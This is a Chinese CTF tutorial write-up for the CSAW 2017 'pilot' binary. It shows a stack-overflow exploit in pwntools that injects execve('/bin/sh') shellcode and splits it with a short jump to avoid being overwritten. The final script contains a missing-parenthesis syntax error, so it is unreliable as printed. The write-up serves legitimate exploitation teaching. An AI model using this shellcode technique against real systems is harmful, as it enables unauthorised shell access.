【Writeup】i春秋 Linux Pwn 入门教程_CSAW Quals CTF 2017-pilot

Linux pwn入门教程(2)——shellcode的使用,原理与变形

0x01 解题思路

  • 查看文件信息并试运行
    【Writeup】i春秋 Linux Pwn 入门教程_CSAW Quals CTF 2017-pilot_第1张图片

    1. 没有开保护,显示有RWX段。shellcode必须在具有R和X属性的内存空间上才能执行;

    2. 执行时输出了一个地址0x7ffd426b9ca0;

    3. 有用户输入点。

  • 拖入IDA 64bits,F5查看

    main
    【Writeup】i春秋 Linux Pwn 入门教程_CSAW Quals CTF 2017-pilot_第2张图片

  • 如图所示,红框处分别为输出地址和读取用户输入的伪代码,输出的地址应该是用户输入在栈上的地址&buf。read函数显然存在栈溢出漏洞。

  • 测试一下溢出地址并计算偏移量
    【Writeup】i春秋 Linux Pwn 入门教程_CSAW Quals CTF 2017-pilot_第3张图片
    在这里插入图片描述
    可以看出输出地址的确是用户输入的地址,而输入点距离RIP的偏移量是40。

  • 由此可以将shellcode放在用户输入的开头,然后将RIP覆盖为程序输出的地址,这样理论上是可以执行shellcode的。初步EXP:

    #!/usr/bin/python
    #coding:utf-8
    
    from pwn import *
    
    context.update(arch = 'amd64', os = 'linux', timeout = 1)   
    #context.log_level = 'debug'
    
    #io = remote('172.17.0.3', 10001)  
    io = process('./pilot')  
    
    shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
    #xor rdx, rdx
    #mov rbx, 0x68732f6e69622f2f
    #shr rbx, 0x8
    #push rbx
    #mov rdi, rsp
    #push rax
    #push rdi
    #mov rsi, rsp
    #mov al, 0x3b
    #syscall
    
    print io.recvuntil("Location:")
    shellcode_address_at_stack = int(io.recv()[0:14], 16)
    log.info("Leak stack address = %x", shellcode_address_at_stack)
    
    payload = ""                        
    payload += shellcode
    payload += "\x90"*(0x28-len(shellcode))
    payload += p64(shellcode_address_at_stack)
    
    io.send(payload)
    io.interactive()
    
  • 执行之后发现脚本有错

    【Writeup】i春秋 Linux Pwn 入门教程_CSAW Quals CTF 2017-pilot_第4张图片

  • 在main函数的返回指令处下断点,在脚本中加入gdb的attach语句从而与脚本交互调试
    在这里插入图片描述
    在这里插入图片描述

  • 断下后,可以看到shellcode的确放置在预想的位置,接着单步执行试试
    【Writeup】i春秋 Linux Pwn 入门教程_CSAW Quals CTF 2017-pilot_第5张图片

  • 单步执行发现,push rdi指令之后的shellcode被覆盖了无法执行
    【Writeup】i春秋 Linux Pwn 入门教程_CSAW Quals CTF 2017-pilot_第6张图片

  • 这时想到允许输入的字符串长度是0x40=64,输入到RIP的距离是40,而剩余的shellcode长度比24字节小的多,所以可以把shellcode分为两部分,不会被覆盖的放在原处,会被覆盖的放在RIP后面的位置。但是这样就需要一条跳转指令把两步分连接起来执行。除了无条件跳转指令jmp外,其余的跳转指令均会改变寄存器状态。刚好此代码中就有一条jmp指令:
    在这里插入图片描述
    HEX视图:
    在这里插入图片描述

  • 这是jmp短跳转执行,操作码为EB,05是jmp之后的第一条指令到跳转点的距离。shellcode1的末尾与shellcode2的开头之间的偏移量是40 - 22 - 2 + 8 = 24 = 0x18,故需要构造的指令为’\xEB\x18’
    【Writeup】i春秋 Linux Pwn 入门教程_CSAW Quals CTF 2017-pilot_第7张图片

  • payload组成:

    1. shellcode1(至 push %rax + jmp 0x18指令)
    2. padding ( 0x10 Bytes)
    3. shellcode_address_at_stack(shellcode1地址)
    4. shellcode2(push %rdi 至 syscall)

0x02 EXP

#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch = 'amd64', os = 'linux', timeout = 1)   
#context.log_level = 'debug'

#io = remote('172.17.0.3', 10001)  
io = process('./pilot')  

shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall

shellcode1 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50"
shellcode1 += "\xeb\x18"
shellcode2 = "\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

print io.recvuntil("Location:")
shellcode_address_at_stack = int(io.recv()[0:14], 16
log.info("Leak stack address = %x", shellcode_address_at_stack)

payload = ""                        
payload += shellcode1
payload += "\x90"*(0x28-len(shellcode1))
payload += p64(shellcode_address_at_stack)
payload += shellcode2

#gdb.attach(io, 'b *0x400AE5')
#pause()
io.send(payload)
io.interactive()

你可能感兴趣的:(i春秋_Linux,pwn入门教程系列,-,Writeups)